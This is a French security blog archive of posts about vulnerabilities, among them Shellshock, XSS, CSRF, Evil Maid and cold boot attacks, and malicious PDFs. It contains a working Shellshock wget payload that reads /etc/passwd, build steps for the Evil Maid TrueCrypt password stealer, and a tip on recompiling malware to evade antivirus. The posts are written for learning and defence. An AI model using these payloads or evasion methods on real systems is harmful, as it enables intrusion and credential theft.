Affichage des articles dont le libellé est faille. Afficher tous les articles
Affichage des articles dont le libellé est faille. Afficher tous les articles

samedi 6 décembre 2014

Shellshock pour les nuls

La vague Shellshock est passée. Mais ce cas reste très intéressant à étudier et comprendre. C’est pourquoi je le partage avec vous mon expérimentation. Souvenez-vous que cette faille était présente dans “bash” depuis 25 ans. Ca fait frémir!

Comment détecter que votre serveur est faillible?
Normalement lorsque dans une console “bash” vous saisissez:
   1: env x=’ceci est un test’

Vous obtenez:

   1: ceci est un test

Alors que si vous entrez:

   1: env x='() { :;}; echo vulnerable' bash -c "echo ceci est un test"

Vous obtenez:

   1: vulnerable

   2: ceci est un test

et vous êtes faillible

Pourquoi? Explications

La chaine magique “(){ code;} permet de faire en sorte que le code qui la suit est exécuté dans le “bash”. Cette chaîne correspond à la déclaration d’une méthode.

Comment monter un exemple d’attaque?

Du côté de votre serveur “cible” faillible, créer un site web (un petit script “cgi”) qui contient:

   1: #!/bin/bash

   2: echo "Content-type: text/plain"

   3: echo 

   4: echo

   5: echo 

   6: "Coucou"

Vous notez que votre “cgi” est en “#!/bin/bash

Du côté de votre machine attaquante, vous lancez la commande:

   1: wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://adresse_de_la_cible/cgi-bin/test.cgi

Et vous récupérez un fichier “test.cgi” qui contient, devinez-quoi, le contenu du fichier “/etc/passwd” de la machine “cible”. Vous comprendrez pourquoi je ne présente pas dans cet article le contenu de mon fichier “/etc/passwd”.

Pour comprendre ce qui vient de se passer, vous pouvez avec Wireshark enregistrer les requètes échangées et on y trouve:

image

Pourquoi? Explications

L’option “–U” de la requète “wget” permet de préciser le “user-agent”. Le protocole HTTP autorise en effet les clients à s’identifier eux-mêmes en utilisant le champ “User-Agent” du “header

Et les spécifications de “CGI” font correspondre aux champs du “header” une variable d’environnement. Et paf, notre chaîne magique du type “() { code;}“ peut être exécutée dans chacune de ces variables d’environnement

C’est gagné!


Sources:

dimanche 22 septembre 2013

Le fuzzing appliqué à la validation des applications

A OHM 2013 (voir l'article "Mon OHM à moi…") en sortant de la présentation de @agarri_fr aka Nicolas Grégoire (excellente présentation par ailleurs appelé “Low-cost vulnerability research: XSLT fuzzing as a case study”), je me suis accordé un instant de réflexion, assis dans l’herbe, en sirottant un Club-Maté, boisson de tout OHMien qui se respecte, et là j’ai pris une décision, j’allais enfin passer de la théorie du fuzzing à la pratique.
club-mate

Qu'est ce que le fuzzing? (source: Wikipedia)

Le fuzzing est une technique pour tester des logiciels. L'idée est d'injecter des données aléatoires dans les entrées d'un programme. Si le programme échoue (par exemple en plantant ou en générant une erreur), alors il y a des défauts à corriger.
Le grand avantage du fuzzing est que l'écriture de tests est extrêmement simple, ne demande aucune connaissance du fonctionnement du système et permet de trouver des vulnérabilités facilement. D'ailleurs, le fuzzing est également utilisé pour traquer des failles de sécurité .
Cependant la principale limitation du fuzzing est sa grande consommation de ressources mémoire, disque dur, CPU.


Quels sont les outils dont nous disposons?

Il existe une multitude de fuzzers dans différents languages, plus ou moins faciles à utiliser (comme Sulley par exemple).
Si on se focalise sur les outils les plus simples, on peut lister les outils proposés par le CERT de Carnegie Mellon:


BFF
Le CERT Basic Fuzzing Framework (BFF) est un outil logiciel de test permettant de trouver des défauts dans les applications fonctionnant sous Linux et Mac OS X. BFF effectue des mutations sur les données en entrée du logiciel à tester. Une mutation consiste à prendre une donnée bien formattée et à la corrompre de différentes façons à la recherche de la mutation qui générera un crash.

FOE
The CERT Failure Observation Engine (FOE) est un outil logiciel de test permettant de trouver des défauts dans les applications fonctionnant sous Windows. FOE effectue également des mutations sur les données en entrée du logiciel à tester


Que fait @agarri_fr avec le fuzzing?

@agarri_fr (http://www.agarri.fr/) est un chercheur en vulnérabilités à ses heures. Ses recherches se focalisent actuellement sur les parsers autour de XML et de XSLT. Il utilise principalement le fuzzer Radamsa (http://code.google.com/p/ouspg/wiki/Radamsa). Sur cette base @agarri_fr a découvert de nombreuses vulnérabilités dont:


Pour information il existe une extension Radamsa pour Burp Suite.
Si vous souhaitez quelques informations sur XML et XSLT vous pouvez jeter un oeil à l’article Les transformations “XSLT” fournissent toujours de précieux services!


Et comment le fuzzing est-il utilisé dans une phase de validation?

Le chercheur en sécurité informatique Charlie Miller a refusé en 2010 de dévoiler les vulnérabilités "0-day" trouvées dans le code de logiciels célèbres (contrairement au règlement du concours de sécurité informatique Pwn2Own), afin de protester contre les éditeurs qui n'utilisent pas assez cette technique simple selon lui.

Tout est dit! Le fuzzing devrait faire partie intégrante de toutes les phases de validation.


Et moi je fais quoi avec tout ca?

Tout d'abord je m'amuse.

Et à titre d'exercice, j'ai installé FOE dans un environnement Windows avec pour objectif de trouver des vulnérabilités chez quelques éditeurs! Bon ca parait simple sur le papier mais ca l'est beaucoup moins dans la réalité (mais je ne suis pas à l'abri de trouver quelque chose)


A vous de jouer! Et peut-être allez vous découvrir un "0-day" !

samedi 18 décembre 2010

Les failles Cross-Site Scripting: si communes et pourtant si méconnues !

Comme l’indique le site xss attacks information, les failles Cross-Site Scripting (aussi appelé XSS) sont toujours d’actualité bien qu’elles soient connues comme le "loup blanc" depuis de nombreuses années. Mais comme parfois avec ce qui nous est familier, nous en perdons le véritable signification et en oublions le risque. Je ne sais pas pour vous, mais pour moi c'est le cas!

A titre d’exemple, voici une capture d’écran du site de BP ayant subi une attaque XSS:

bpsucks

Nous allons dans ce qui suit décrire ce qu'est le XSS et les différentes formes qu'il peut prendre.

L'attaque "Stored XSS" ou “XSS permanent” dans laquelle le code injecté est stocké de manière définitive sur le serveur cible. Cette attaque peut être réalisé à deux conditons:

  • quand les informations transmises par un utilisateur sont stockées côté serveur (par exemple dans une base de données ou des fichiers)
  • quand ces informations stockées sont ensuite affichées de nouveau sans que les caractères spéciaux HTML aient été encodés.

C’est le cas d’un message écrit dans un forum qui peut être lu par des milliers de personnes.

Ci-dessous vous trouverez une vidéo détaillant la mise en oeuvre d’une attaque “XSS permanent” sur le site Webgoat de l’OWASP:

ScreenShot044

L'attaque "Reflected XSS" ou “XSS non-permanent” dans laquelle le code injecté est transmis dans la requête et renvoyé par le serveur cible (i.e. utilisation d’un message d’erreur ou d’un outil de recherche).

Mais vous allez me dire que ce n’est pas un problème car l’utilisateur malicieux ne peut injecter du code que dans ses propres pages. Eh bien non! Prenons l’exemple d’un mail de phishing qui vous propose d’aller sur une page avec une URL qui contient le code XSS!

Ci-dessous vous trouverez une vidéo détaillant la mise en oeuvre d’une attaque “XSS non-permanent” sur le site Webgoat de l’OWASP:

ScreenShot043

L'attaque "DOM Based XSS" ou “XSS local” dans laquelle le code injecté permet de modifier l’arbre DOM dans le browser de la victime permettant à la page web de se comporter différemment (i.e. phase d’authentification court-circuitée).

Comme précédemment un mail de phishing avec une URL prenant en compte la faille peut vous piéger.

Ci-dessous vous trouverez une vidéo détaillant la mise en oeuvre d’une attaque “XSS local” sur le site Webgoat de l’OWASP:

ScreenShot042

Le XSS est également utilisé dans une attaque nommée Cross-Site Request Forgery ou CSRF. Un précédent article décrit précisément en quoi consiste cette faille et comment la mettre en oeuvre (voir l’article Cross Site Request Forgery par l'image!).

Source: toujours l’OWASP !http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

dimanche 4 avril 2010

L’authentification “pre-boot” n’est pas sans faille…

Un récent article de Joanna Rutkowska de Invisible Things décrivait comment récupérer le mot de passe utilisé pour l'authentification “pre-boot” avec TrueCrypt.

Voici une brève description du scénario d’attaque.

“Bertrand vient d’arriver à l’hôtel. Demain c’est le grand jour: la remise des prix attribués aux meilleurs vendeurs, et Bertrand en fait partie. Le lendemain, Bertrand laisse son PC éteint à l’hôtel, il traitera ses mails ce soir en rentrant. La femme de chambre profite de l’absence de Bertrand pour faire booter le PC sur sa clef USB afin de l’infecter. En rentrant Bertrand démarre son PC, entre le mot de passe de sa solution d’authentification et d’encryption “pre-boot”, saisie son mot de passe système et traite ses messages. Le lendemain matin Bertrand quitte l’hôtel comme à l’accoutumé en y laissant son PC éteint. La femme de chambre n’a plus qu’à faire booter le PC de Bertrand sur sa clef USB pour récupérer le mot de passe d’authentification et d’encryption “pre-boot”. Et Bertrand n’en sait rien! Il est maintenant simplement nécessaire d’”emprunter” le PC de Bertrand pour récupérer les informations souhaitées.”

Comme l’indique Joanna Rutkowska, TrueCrypt n’est pas la seule cible potentielle de ce type d’attaque.

Je n’ai pas résisté à l”envie de voir comment fonctionnait l’attaque dans un cas réel.

J’ai donc installé TrueCrypt sur mon PC portable et encrypté avec TrueCrypt ma partition système. En faisant cela lors du démarrage de mon PC, le mot de passe TrueCrypt m’est demandé pour permettre le lancement de mon Windows XP et la saisie de mon mot de passe système habituel.

Joanna Rutkowska dans son article nous fournit une image pour nous permettre de créer rapidement une clef USB bootable contenant l’exécutable pour récupérer le mot de passe de TrueCrypt. Mais j’ai personnellement rencontré quelques difficultés pour recréer cette image. Heureusement nous trouvons dans l’article d’Invisible Things le code source nous permettant de mieux comprendre l’attaque et de la reproduire avec quelques variantes.

Comme vous le savez déjà, si vous êtes un lecteur assidu de ce blog, je dispose d’une clef USB “bootable” avec Backtrack 3. Je vais donc simplement faire booter mon PC sur ma clef USB, puis lancer l’exécutable modifié et recompilé pour infecter TrueCrypt.

Après avoir copié le code source de l’exploit sur la clef USB et booté sur la clef, jetez un œil au répertoire qui contient le code source. Dans notre exemple:

> cd /mnt/sdb1/Misc/evilmaid/evilmaid-tc

snapshot3

Vous pouvez ensuite ouvrir avec votre éditeur préféré le fichier Makefile. On y trouve les commandes permettant de compiler notre exécutable. On note la présence d’un fichier “c” et d’un fichier “asm” qui contiennent le code de l’exploit. Le fichier “asm” est un fichier assembleur compilable avec nasm.

Vous pouvez alors compiler l’exécutable. Si vous rencontrez des difficultés avec le Makefile, vous pouvez exécuter les 3 lignes suivantes:

> nasm –f elf logger.asm

> gcc –m32 –c patch_tc.c

> gcc –m32 –o patch_tc patch_tc.o logger.o

Votre exécutable est alors patch_tc.

snapshot4

Puis allez dans le répertoire stick. Dans notre cas:

> cd /mnt/sdb1/Misc/evilmaid/stick/

snapshot2

On y trouve le script “shellstage2 qui est le point d’entrée principal de l’exploit. Le fichier stage2 est à modifier dans notre contexte. Ouvrez le fichier avec votre éditeur préféré:

snapshot5

Les lignes suivantes sont à changer:

- On associe la variable BASE au répertoire dans lequel se trouve notre exécutable patch_tc. Dans notre cas:

BASE=/mnt/sdb1/Misc/evilmaid/evilmaid-tc

- On vérifie que le disque cible correspond bien à /dev/sda. C’est notre cas.

- On commente les lignes permettant de monter le répertoire contenant notre exécutable dans la fonction run_evilmaid

Notre clef est prête pour la mise en œuvre de l’exploit.

Sur le PC cible on boote sur la clef USB et on lance stage2. Ce script permet soit d’infecter le PC, soit de lancer un shell, soit de rebooter. On choisit de lancer notre exécutable. Le PC est alors infecté. On attend que notre utilisateur se soit de nouveau connecté à son PC puis on reboote sur la clef et on relance stage2. On obtient le résultat ci-dessous:

snapshot1

Le script détecte que le PC est déjà infecté et récupère alors le mot de passe. Dans notre cas le mot de passe est “ErtyErty”.

C’est gagné…!

Source: Evil Maid goes after TrueCrypt de Joanna Rutkowska. Merci à Matthias pour le lien vers le blog de Joanna Rutkowska!

Tags:

del.icio.us Tags: ,,,,, -

samedi 6 mars 2010

Comment faire du neuf avec l’ancien PXE ?

Il y a quelques années un serveur PXE (permettant le boot sur le réseau) pouvait être utilisé pour prendre la main sur une machine cible que l’on faisait “booter” sur une image fournie par notre serveur PXE pirate pour accéder aux informations de la machine cible.

Mais de l’eau est passée sous le pont de la sécurité et aujourd’hui un LiveCD ou une clef USB permettent beaucoup plus simplement d’accéder aux informations d’une machine cible. Il n’est même pas nécessaire de voler votre PC car quelques minutes suffisent pour faire son marché dans vos données privées.

Comment? Il faut faire “booter” la machine cible sur le LiveCD ou la clef USB, et généralement, et ce dans le pire des cas, le pirate se contente d’accéder aux données privées de l’utilisateur. S’il a plus de chance il a aussi la possibilité d'infecter votre machine.

La parade à ce type d’attaque consiste habituellement à mettre en place une authentification de l’utilisateur avant le “boot” de la machine cible (appelé pre-boot authentication). Microsoft avec Bitlocker, et bien d’autres encore, propose ce type de solution. Dans un prochain article nous aurons l’occasion de parler de ces solutions. Mais revenons à notre serveur PXE! A quoi donc peut-il bien servir?

Eh bien, j’ai retrouvé dans mes cartons un vieux PC portable sans CDROM et ne proposant pas le “boot” sur clef USB. Or ce vieux PC, en Windows 98, ne demandait rien de mieux qu’une petite mise à jour. Et c’est dans ce contexte que le serveur PXE intervient. Il existe de nombreux blogs qui traitent de ce problème qui ne date pas d’hier. Mais devant les petites difficultés agaçantes que j’ai rencontrées pour mettre en place cette solution, j’ai pensé qu’il serait opportun de les partager.

Quel est notre objectif?

Nous souhaitons permettre à notre vieux PC de booter sur un serveur pour permettre l’accès à un CD d’installation de Windows XP pour mettre à jour notre vielle machine.

De quoi avons-nous besoin?

Premièrement nous avons besoin d’une image sur laquelle nous allons “booter”. Cette image contient les outils nécessaires pour permettre l’accès à notre CD d’installation de Windows XP.

Deuxièmement nous avons besoins d’un serveur PXE (avec son serveur DHCP): ainsi notre vielle machine peut récupérer une adresse IP et se connecter à notre serveur pour “booter” sur l’image que nous avons créée.

Voici les différentes étapes nécessaires à la mise à jour de notre vielle machine:

  1. Vous pouvez créer votre propre image avec l’outil WinImage ou bien vous pouvez récupérer une image prête à l’emploi. Je vous conseille personnellement d’utiliser l’image existante et de la copier sous “C:\PXE

  1. Lors du “boot” l’utilisateur peut choisir de booter sur sa vielle machine en local ou sur l’image présente sur le réseau. Il est pour cela nécessaire de créer un menu PXE. La création de ce menu se fait avec l’outil ImgEdit de la façon suivante:

    1. Lancer ImgEdit
    2. Choisir “Create a PXE menu boot file
    3. Ajouter notre image pour permettre le boot sur celle-ci
    4. Ajouter l’option “Hard drive” pour permettre le “boot” local
    5. Sauvegarder sous “C:\PXE\mba.pxe
    6. Choisir “Edit an existing file” et sélectionner notre image précédemment sauvegardée sous “C:\PXE
    7. Sélectionner “Properties” puis “Change” et activer les paramètres suivants: TCP/IP, Pre-OS et Writable

  1. Configurer et lancer TFTP (n’oubliez pas de vous assurer qu’un firewall mal configuré ne bloque pas l’accès au serveur PXE). Pour information, dans notre cas, le serveur PXE est un Windows XP SP2.

    1. Lancer TFTP
    2. Choisir “Settings
      1. Base directory: C:\PXE
      2. TFTP server activé
      3. TFTP client activé
      4. DHCP server activé
    3. Choisir l’onglet “DHCP server
      1. IP pool starting address: 192.168.12.100
      2. Size of pool: 10
      3. Boot file: mba.pxe
      4. Additional option: 66 / 192.168.12.100

  1. Partager le CDROM du serveur en lui donnant le nom sharedcdrom et y insérer le CD d’installation de Windows XP

  1. Booter la vielle machine sur notre image proposée par le serveur PXE (l’image est chargée avec tous les outils nécessaires, en particulier les accès réseau) et lancer les commandes suivantes lorsque le prompt est affiché (serveur est le nom de votre serveur PXE, sharedcdrom est le nom du partage de votre CDROM):

    1. net view \\serveur
    2. net use z: \\serveur\sharedcdrom
    3. z:
    4. cd i386
    5. winnt

L’installation de Windows XP se lance. Votre vielle machine est sur le point de rajeunir!

Note: dans notre configuration le serveur PXE a un compte “Administrator” sans mot de passe.

Note: si vous avez des problèmes pour télécharger ou utiliser les outils nécessaires n’hésitez pas à me contacter!

Source: le blog de Didier Stevens et The Bit Bucket

Tags:

Technorati Tags: ,,, -
del.icio.us Tags: ,,, -

samedi 13 février 2010

L'attaque "Cold Boot", ça fait froid dans le dos...

Je viens de voir une vidéo saisissante de l'université de Princeton (eh oui encore eux...) sur la possibilité de retrouver la clef utilisée pour l'encryption d'un disque dur. La technique utilisée est la rémanence des données en DRAM.


Mais voyons de plus prêt comment ça marche!

Contrairement à ce que l'on peut croire, les DRAMs utilisées dans les ordinateurs modernes retiennent leur contenu de quelques secondes à quelques minutes après que l'alimentation soit arrêtée; et cela même à température ambiante; et même si elles sont retirées de la carte mère.

A titre d'exemple, après 2 minutes à température ambiante, on obtient une dégradation correspondant aux photos ci-dessous:



Après avoir réfrigéré la DRAM aux alentours de -50°C en utilisant un spray, on observe de nouveau la dégradation de la mémoire


Après 10 minutes, on obtient une dégradation très faible correspondant aux photos ci-dessous:


Bien que les DRAMs deviennent moins fiables quand elles ne sont pas soumises à des températures basses, elles ne sont pas immédiatement effacées; et leur contenu persiste un temps suffisant pour récupérer malicieusement l'image mémoire du système d'exploitation.

Il a donc été démontré que ce phénomène limite la capacité d'un système d'exploitation à protéger les données cryptographiques vis-à-vis d'un attaquant disposant d'un accès physique à la machine cible.

Ces attaques appelées "Cold Boot" (et on comprend maintenant mieux pourquoi) sont utilisées contre les systèmes d'encryption de disques les plus populaires: Bitlocker, FileVault, et TrueCrypt; et tout cela sans matériel spécifique.

L'attaque se déroule en plusieurs phases:

  • On accède physiquement à la machine (on peut se contenter de l'emprunter le temps de l'attaque uniquement)

  • Dans notre cas l'ordinateur fonctionne


  • La clef se trouve en DRAM


  • On connecte un disque externe et on reboote sur le disque externe pour lancer l'application malicieuse en charge de récupérer la clef d'encryption. L'application copie l'image de la mémoire puis recherche la clef d'encryption


  • La clef est trouvée. L'ensemble de l'opération ne dure que quelques minutes


Source: Center for Information Technology Policy (Princeton University): http://citp.princeton.edu/memory

samedi 6 février 2010

Membre de l'OWASP! Yes!

Faîtes comme votre serviteur, devenez membre (ou devrais-je dire adhérent) de l'OWASP.

Pour la modique somme de 50 dollars soit environ 35 euros (en fonction des fluctuations du cours), vous pouvez rejoindre la communauté OWASP de ceux qui se sentent concernés par la sécurité des applications web et qui veulent que les choses changent!

En retour vous ne serez pas en reste car vous recevrez, un magnifique T-Shirt pour les étés torrides...

une vraie carte de membre pour impressionner...

et un merveilleux diplôme à afficher au dessus de votre bureau.

Rejoignez le mouvement...!

Source: Open Web Application Security Project http://www.owasp.org/

samedi 10 octobre 2009

Cross Site Request Forgery par l'image!

Cross Site Request Forgery est aussi connu sous l'abbréviation CSRF. Le CSRF exploite un site web pour lequel des commandes non autorisées sont transmises par un utilisateur en qui le site web à confiance.



A la différence du XSS (Cross Site Scripting) qui exploite la confiance d'un utilisateur pour un site web particulier, le CSRF exploite la confiance qu'un site web à dans le browser de l'utilisateur.




Prenons un exemple pour nous permettre de mieux comprendre la mécanique du CSRF.

Bertrand se connecte comme tout les matins sur son site bancaire pour effectuer les opérations nécessaires à son activité professionnelle. Il commence par s'authentifier auprès de sa banque et réalise quelques transferts de fonds. Puis il va consulter ses mails personnels sur son web mail favori en oubliant de fermer la session avec son site bancaire. Il est impatient de recevoir la confirmation de la réservation d'un séjour d'une semaine en Guadeloupe. Il aimerait annoncer la bonne nouvelle à sa famille en rentrant ce soir. Bertrand trouve de nombreux mails dans sa boîte aux lettres, mais pas de confirmation de réservation. Déception!Par contre, un de ces mails non attendus lui propose d'obtenir la liste des salaires de son entreprise (un grand groupe international). Intrigué, il ne résiste pas à la tentation et clique sur l'URL proposée. Il obtient effectivement une liste de salaires mais l'information ne lui semble pas très fiable. Tant pis! Bertrand reprend consciencieusement son travail.

Ce que Bertrand ne sait pas encore c'est qu'en cliquant sur l'URL pour accèder à la liste des salaires, il a ouvert la boîte de Pandore: un script malicieux s'est exécuté pour réaliser un transfert de fonds de son compte bancaire vers un compte tiers.


Ce scénario est bien entendu une fiction et la ficelle semble bien grosse. Mais il permet, me semble t'il, de bien comprendre ce qu'est le CSRF.


La vidéo ci-dessous explique plus en détails les arcanes du CSRF à partir d'un exemple similaire.






Quelques conseils pour essayer d'éviter ce type d'attaque:

  • Demander des confirmations à l'utilisateur pour les actions critiques au risque d'alourdir l'enchaînement des formulaires. La demande de confirmation peut être basée sur une ré-authentification de l'utilisateur avec la même méthode d'authentification, ou une méthode d'authentification plus forte si l'action requise est critique.
  • Vérifier l'adresse URL du script appelant (referrer) au risque également d'alourdir le développement des formulaires.
  • Utiliser des jetons de validité dans les formulaires pour faire en sorte qu'un formulaire posté ne soit accepté que s'il a été produit quelques minutes auparavant : le jeton de validité en sera la preuve. Le jeton de validité doit être transmis en paramètre et vérifié côté serveur.

A bientôt...

samedi 3 octobre 2009

Comment détecter les PDFs malveillants?

Avant de vous présenter comment on peut détecter les PDFs (Portable Document Format) malveillants un bref rappel du format PDF me semble nécessaire.


Un document PDF peut être défini comme un ensemble d’objets qui décrivent comment une ou plusieurs pages peuvent être affichées. Ces objets et autres composants additionnels sont gérés par une combinaison d'opérandes (objets) et opérateurs qui constituent un véritable langage dédié à la description de pages PDF.
Cette description de page se fait en 2 étapes:
  • l'application génére une description du document en langage PDF indépendante du matériel
  • un interpréteur assure ensuite le rendu et l'affichage du document à partir de la description précédente.


Tout fichier PDF contient les sections suivantes:

  • Le « Header » contient la version du fichier PDF.


  • L’ « Object » racine contient le catalogue qui décrit le contenu du fichier.


  • Les autres « Object » décrivent le type des données et leur format. Par exemple le type peut être du texte et la police « Helvetica ».


  • La table « Cross References » contient la liste des objets utilisés et les objets supprimés (ce qui signifie que lorsque vous créez un fichier PDF puis en supprimez une partie, cette partie supprimée n’est plus affichée mais elle est toujours présente dans le fichier PDF et peut donc être récupérée; danger!). La table de référence croisée (alias Cross References) permet d'accéder directement aux objets sans avoir à parcourir tout le code.


  • Le « Trailer » contient des informations essentielles à la lecture du fichier dont entre autres choses le nombre d'objets contenus dans le fichier et l'offset de la table de référence croisée (alias Cross References). Cette section bien que située à la fin du fichier est la première lue.


Maintenant que les présentations sont faites, nous allons voir comment détecter un PDF contenant un script malveillant.



Une fois de plus nous utilisons le framework «Origami 1.0.0. Beta 0» non pas cette fois pour créer un PDF malveillant mais pour détecter les PDFs malveillants.
Pour cela nous lançons le script Ruby appelé pdfscan.rb situé dans le répertoire «scripts/scan» en ligne de commande et nous obtenons le résultat suivant :






La première chose à remarquer est qu’il y a plusieurs sections dans le résultat de l’analyse:



File ID : permet de se souvenir du fichier analysé



Structure : permet d’avoir une vue rapide sur la structure du PDF (la version, les «object»,…). Chacun de ces éléments permet d'obtenir des indices pour mieux comprendre le résultat



Properties : permet de savoir si le fichier est encrypté (afin de cacher un code malveillant) ou s’il contient des fichiers embarqués (qui peuvent contenir un «malware»)



Triggers : un contenu malicieux est inutile s’il n’est pas utilisé, c’est pourquoi il est intéressant de connaître les moyens de générer des événements.



Actions : même si les actions ne sont pas nécessaires pour exploiter une faille, elles sont à suspecter car la plupart du temps un fichier PDF ne contient pas d’actions dynamiques.



Revenons aux résultats de l’analyse de notre fichier suspicieux! Si le résultat de l’analyse est suspect il apparaît en rouge. Cela signifie que vous devez vous méfier de ce PDF et l’analyser plus en détails.



A bon entendeur...



Sources: « Origami in PDF » (http://www.security-labs.org/origami/), “Blog de l’équipe R&D Essec” (http://esec.fr.sogeti.com/blog) et MISC n°38 (je ne saurais que trop vous recommander de vous y abonner) avec l'article "Les nouveaux malwares de document" d'Alexandre Blonce, Eric Filiol et Laurent Frayssignes.

samedi 5 septembre 2009

Forger des PDFs malveillants avec Origami

Dans cet article nous allons voir comment créer des PDFs malveillants en utilisant Origami. Origami est un ensemble d'outils en Ruby permettant d'analyser et de forger des documents PDF.

La vidéo ci-dessous décrit succintement comment utiliser Origami pour forger un PDF malveillant.


Vous pouvez télécharger ci-après 2 exemples de PDFs malveillants:


PDF contenant l'exécution de code Javascript et lancement du browser



PDF contenant le lancement de l'application "calc.exe"



D'une manière générale pour éviter d'avoir des applicatifs présentant des failles de sécurité, vous devez posséder un outil comme Secunia permettant de détecter les mises à jour de sécurité disponibles pour les applicatifs installés sur votre machine.

Dans un prochain article nous verrons comment, avec Origami, il est possible d'analyser les fichiers PDF afin d'y découvrir d'éventuels dangers. Mais c'est une autre histoire...!


Source: http://security-labs.org/origami/ de Guillaume Delugré & Fred Raynal. Merci également à Laurent Butti.

mardi 14 juillet 2009

PDF: attention danger!

Régulièrement nous recevons des "PDF" par mails ou nous les téléchargeons sur internet. Puis nous les ouvrons en toute confiance sans penser que la menace peut venir d'un tel fichier.

Et bien nous avons tort. La menace est aussi présente dans les "PDF". Adobe Reader et Adobe Acrobat sont actuellement sous les feux de la rampe mais bien entendu ce ne sont pas les seules applications à présenter des vulnérabilités.

Nous allons cependant nous intéresser aux "PDF" dans le cadre de cet article.

Le scénario est le suivant. Notre cible télécharge un "PDF" sur internet et l'ouvre. En l'ouvrant un canal est établi entre la cible et le pirate. Et le pirate dispose alors d'un accès à la cible grâce auquel il peut réaliser ce qu'il souhaite.

La vulnérabilité utilisée dans cette session a été découverte en Avril 2008 par Secunia Research (Référence CVE: CVE-2008-2992). Elle est causée par une mauvause gestion des limites dans la vérification des chaînes de caractères de la fonction javascript "util.printf()". Cette vulnérabilité peut être exploitée pour causer un débordement de la pile via un PDF spécialement conçu.

C'est ce que nous allons voir dans la vidéo ci-dessous:



C'est pour toutes ces raisons que je ne saurais trop vous conseiller de mettre à jour, non seulement votre OS avec les patchs fournis, mais également vos applicatifs comme Adobe Reader et les autres. Mettre à jour vos applicatifs, c'est intégrer les corrections des dernières failles de sécurité.

Vous trouverez un outil intéressant sur le site http://secunia.com/ pour vous tenir au courant des patchs de vos applicatifs (Secunia propose un outil à installer sur votre ordinateur pour scanner les applications installées et vous prévenir des mises à jour éventuelles).

A bon entendeur...!

lundi 29 juin 2009

Keyloggers et screenloggers

On nous parle souvent des keyloggers et des screenloggers qui permettent pour les premiers, de récupérer les informations saisies par l'utilisateur au travers de son clavier ou pour les seconds, de faire des copies de l'écran de l'utilisateur à intervalles de temps réguliers.


L'objectif de cette article est de se faire une idée concrète de cette menace pour mieux la comprendre et adopter les bonnes contre-mesures.

Bien entendu il existe de nombreux outils de ce type, mais il a fallu faire un choix et comme vous le savez "Choisir c'est renoncer...!".

Nous avons testé pour vous Ghost Keylogger 3.40 et Spector Pro 5. Parmi ces deux outils, seul Spector semble être un vrai produit avec une existence légale au travers de la société SpectorSoft (http://www.spectorsoft.com/)

Vous trouverez ci-dessous la vidéo des tests.


Dans un prochain article nous verrons comment, avec Metasploit, il est possible de récupérer "à distance" les informations saisies par l'utilisateur sur son clavier. Mais c'est une autre histoire...!

Source : SpectorSoft (http://www.spectorsoft.com/) & Matthias que je remercie

vendredi 5 juin 2009

"USB Dumper", l'aspirateur des clefs USB...!

On pourrait croire que l'arrivée de Windows 7 faît définitivement disparaître la menace des clefs USB. Mais ce n'est malheureusement pas le cas! Windows 7 protége l'ordinateur d'une clef USB malveillante mais qui protège une clef USB d'un ordinateur malveillant?

C'est pourquoi nous avons ressorti des placards le vieil "USB Dumper" dont l'efficacité légendaire reste la même. L'USB Dumper lancé sur un ordinateur permet d'aspirer toutes les données d'une clef USB qui se connecte à cet ordinateur à l 'insu du propriétaire de la clef USB.


La plupart des outils (malware) permettant de simuler des attaques sun un poste client sont aujourd'hui reconnues par les bons anti-virus.

Mais si vous disposez du code source vous pouvez alors recompiler le malware en le modifiant légérement et la nouvelle signature de votre malware ne sera plus reconnue par la plupart des antivirus.

C'est le cas de l'USB Dumper pour lequel vous pouvez télécharger le code et l'exécutable ICI.

La vidéo ci-dessous vous montre la marche à suivre.



Source: Bruce Schneier & Eric Detoisien

jeudi 4 juin 2009

Quelques statistiques pour mieux comprendre le contexte de la sécurité !

Vous trouverez ci-dessous quelques statistiques qui donnent un éclairage édifiant sur des failles que l'on considère souvent à tort comme obsolètes.


Dans le graphe ci-dessous on observe la part des vulnérabilités qui affectent les applications web comparé au volume globale des vulnérabilités. On constate que la part prise par les vulnérabilités des applications web est en augmentation.





Parmi ces vulnérabilités des applications web on trouve l'injection SQL dont le but est d'injecter un contenu malicieux dans le site web pour attaquer les visiteurs.

On trouve également le XSS parmi ces vulnérabilités. Le nombre de vulnérabilités de type XSS reporté en 2008 est de 12.885 (en 2007 on avait reporté 17.697 vulnérabilités). La raison de cette baisse est que de nombreuses vulnérabilités de type XSS ont été corrigées en 2007. Malgré tout les failles XSS reste une des préoccupations majeures des administrateurs de site web.





Les failles sont également très présentes sur les postes des utilisateurs (au travers des browsers par exemple).

En 2008, 99 vulnérabilités ont affectés Mozilla (40 sont considérés comme peu sévère et 59 comme étant moyennement sévère). En 2007, 122 vulnérabilités avaient été documentées pour Mozilla.
En 2008, 47 vulnérabilités ont affectés Internet Explorer (16 sont considérés comme peu sévère et 31 comme étant moyennement sévère). En 2007, 57 vulnérabilités avaient été documentées pour Internet Explorer.

On constate que les browsers restent une cible attractive pour les attaquants (ainsi que les plug-ins des browsers). On observe une augmentation en 2008 du nombre de vulnérabilités autour des plug-ins Java (on passe de 4% en 2007 à 11% en 2008), et Adobe (on passe de 1% en 2007 à 4% en 2008)



On observe une confirmation de la tendance qui consiste à privilégier l'attaque du côté du poste du client.
En 2008, 7% des attaques utilisaient des vulnérabilités du côté du serveur. En 2007, 5% des attaques se basent sur des vulnérabilités côté serveur.




Il faut noter que le volume correspondant au "Top 50" des malwares en 2008 est plus du double du volume de 2007.
Il faut également noter qu'une diminution du pourcentage d'un malware d'une année sur l'autre n'indique pas forcément un déclin de ce malware.



Il est bon de redonner quelques définitions:
  • Trojan ou cheval de troie: un cheval de Troie est un malware qui permet de réaliser une fonction non souhaitée par l'utilisateur comme par exemple faciliter un accès non autorisé à l'ordinateur de l'utilisateur. A la différence des ver et des virus il ne se réplique généralement pas. Habituellement il requière une intervention du hacker pour réaliser leur fonction.
  • Worm ou ver: un ver est un programme qui peut se copier lui-même et infecter un ordinateur. Le ver peut se répandre d'un ordinateur vers un autre. A la différence du virus qui est nécessite un support, le ver est totalement autonome.
  • Virus: un virus est un programme qui peut se copier lui-même et infecter un ordinateur. Le virus peut se répandre d'un ordinateur vers un autre. A la différence du ver qui est totalement autonome le virus a besoin d'un support (un fichier, une application,..) pour se propager.
